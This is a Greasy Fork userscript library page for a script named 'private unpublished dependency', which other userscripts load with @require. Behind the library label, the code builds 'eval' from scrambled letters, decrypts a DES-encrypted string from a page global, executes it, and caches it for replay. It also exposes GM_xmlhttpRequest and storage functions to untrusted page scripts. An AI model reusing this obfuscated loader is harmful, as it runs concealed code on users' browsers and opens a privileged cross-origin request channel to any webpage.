Greasy Fork is available in English.
不公开依赖
当前为
此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.greasyfork.icu/scripts/446130/1058563/%E7%A7%81%E6%9C%89%E4%B8%8D%E5%85%AC%E5%BC%80%E4%BE%9D%E8%B5%96.js
// ==UserScript==
// @name 私有不公开依赖
// @namespace Me
// @version 1
// @description 不公开依赖
// @author lengXiang
// @grant GM_addStyle
// @grant GM_getValue
// @grant GM_setValue
// ==/UserScript==
(function () {
function encryptByDES(message, key){
var keyHex = CryptoJS.enc.Utf8.parse(key);
var encrypted = CryptoJS.DES.encrypt(message, keyHex, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString();
}
function decryptByDES(ciphertext, key){
var keyHex = CryptoJS.enc.Utf8.parse(key);
var decrypted = CryptoJS.DES.decrypt({
ciphertext: CryptoJS.enc.Hex.parse(ciphertext)
}, keyHex, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
var result_value = decrypted.toString(CryptoJS.enc.Utf8);
return result_value;
}
$("body").append('<div id="xm_1"></div><div id="xm_2"></div><div id="xm_3"></div><div id="xm_4"></div><div id="xm_5"></div><div id="xm_6"></div><div id="xm_7"></div>'),$("#xm_1")[0].onclick=GM_xmlhttpRequest,$("#xm_2")[0].onclick=GM_addStyle,$("#xm_3")[0].onclick=GM_getValue,$("#xm_4")[0].onclick=GM_setValue,$("#xm_6")[0].onclick=encryptByDES,$("#xm_5")[0].Vue=Vue,$("#xm_5")[0].$=$,$("body").append('\n<script>\nwindow.GM_setValue=$("#xm_4")[0].onclick\nwindow.GM_getValue=$("#xm_3")[0].onclick\nwindow.GM_addStyle=$("#xm_2")[0].onclick\nwindow.GM_xmlhttpRequest=$("#xm_1")[0].onclick\nwindow.Vue=$("#xm_5")[0].Vue\nwindow.$=$("#xm_5")[0].$\nwindow.encryptByDES=$("#xm_6")[0].onclick\n<\/script>');var xlet=[{i:3,t:"l"},{i:1,t:"v"},{i:2,t:"a"},{i:0,t:"e"}];xlet.sort((i,d)=>i.i-d.i);var xx=window[xlet.map(i=>i.t).join("")];
window.tr=0
window.special=setInterval(()=>{
tr++
if(typeof zs !="undefined")
{
try {
var zu=decryptByDES(zs.substring(0,zs.length-16),zs.substring(zs.length-16,zs.length))
xx(zu+";load_zhushou()")
GM_setValue("oxie",zu)
} catch(e) {
console.log("出错")
xx(GM_getValue("oxie"))
}
window.zs=undefined
clearInterval(special)
}
if(tr>2000)
{
clearInterval(special)
}
},50)
})();